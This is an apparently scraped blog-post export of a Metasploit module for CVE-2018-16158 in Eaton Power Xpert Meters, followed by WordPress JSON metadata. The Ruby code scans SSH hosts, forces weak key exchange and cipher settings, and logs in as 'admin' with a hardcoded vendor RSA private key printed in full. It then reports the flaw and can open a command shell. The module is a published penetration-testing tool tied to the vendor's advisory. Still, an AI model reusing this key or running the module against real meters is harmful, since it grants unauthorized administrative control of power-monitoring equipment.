##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
###<\/p>\n
# XXX: This shouldn’t be necessary but is now
require ‘net\/ssh’
require ‘net\/ssh\/command_stream’<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Eaton Xpert Meter SSH Private Key Exposure Scanner’,
‘Description’ => %q{
Eaton Power Xpert Meters running firmware below version 12.x.x.x or
below version 13.3.x.x ship with a public\/private key pair that
facilitate remote administrative access to the devices.
Tested on: Firmware 12.1.9.1 and 13.3.2.10.
},
‘Author’ => [
‘BrianWGray’
],
‘References’ => [
[‘CVE’, ‘2018-16158’],
[‘EDB’, ‘45283’],
[‘URL’, ‘https:\/\/www.eaton.com\/content\/dam\/eaton\/company\/news-insights\/cybersecurity\/security-bulletins\/PXM-Advisory.pdf’],
[‘URL’, ‘https:\/\/www.ctrlu.net\/vuln\/0006.html’]],
‘DisclosureDate’ => ‘2018-07-18’,
‘License’ => MSF_LICENSE
))<\/p>\n
register_options([
Opt::RPORT(22)
])<\/p>\n
register_advanced_options([
OptBool.new(‘SSH_DEBUG’, [false, ‘SSH debugging’, false]),
OptInt.new(‘SSH_TIMEOUT’, [false, ‘SSH timeout’, 10])
])
end<\/p>\n
def run_host(ip)<\/p>\n
# Specified Kex\/Encryption downgrade requirements must be set to connect to the Power Meters.
ssh_opts = ssh_client_defaults.merge({
auth_methods: [‘publickey’],
port: rport,
key_data: [ key_data ],
hmac: [‘hmac-sha1’],
encryption: [‘aes128-cbc’],
kex: [‘diffie-hellman-group1-sha1’],
host_key: [‘ssh-rsa’]})<\/p>\n
ssh_opts.merge!(verbose: :debug) if datastore[‘SSH_DEBUG’]\n
begin
ssh = Timeout.timeout(datastore[‘SSH_TIMEOUT’]) do
Net::SSH.start(ip, ‘admin’, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
return unless ssh<\/p>\n
print_good(“#{ip}:#{rport} – Logged in as admin”)<\/p>\n
version = ssh.transport.server_version.version<\/p>\n
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)<\/p>\n
shell = Net::SSH::CommandStream.new(ssh)<\/p>\n
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1<\/p>\n
if (e = shell.error)
print_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
info = “#{self.name} (#{version})”<\/p>\n
ds_merge = {
‘USERNAME’ => ‘admin’
}<\/p>\n
if datastore[‘CreateSession’]start_session(self, info, ds_merge, false, shell.lsock)
end<\/p>\n
# XXX: Ruby segfaults if we don’t remove the SSH socket
remove_socket(ssh.transport.socket)
end<\/p>\n
def rport
datastore[‘RPORT’]end<\/p>\n
def key_data
<<EOF
—–BEGIN RSA PRIVATE KEY—–
MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj
C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl
TyfL+q6BYAtAeNsho8eP\/fMwrT2vhylNJ4BTsJbmdDJMoaaHu\/0IB9Z9ywIBIwKB
gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA\/
c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h\/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP
I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W
gA1\/WSQrFxTt28mFeUC8enGvKLRm1Nnxk\/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3
YzqKMzUCQQDF7GrnrxNXWsIAli\/UZscqIovN2ABRa2y8\/JYPQAV\/KRQ44vet2aaB
trQBK9czk0QLlBfXrKsofBW81+Swiwz\/AkEAh8q\/FX68zY8Ssod4uGmg+oK3ZYZd
O0kVKop8WVXY65QIN3LdlZm\/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf
z54t9zq2AEjyqP64gi4JY\/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z
zyf7XM6ONycIrYVeFQJABB8eqx\/R\/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh
7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==
—–END RSA PRIVATE KEY—–
EOF
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework### # XXX: This shouldn’t be necessary but is nowrequire ‘net\/ssh’require ‘net\/ssh\/command_stream’ class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Auxiliary::Reportinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,‘Name’ => ‘Eaton Xpert Meter SSH Private Key Exposure Scanner’,‘Description’ => %q{Eaton Power Xpert Meters running firmware below version 12.x.x.x orbelow version …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59365","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59365","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59365"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59365\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59365"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59365"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59365"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}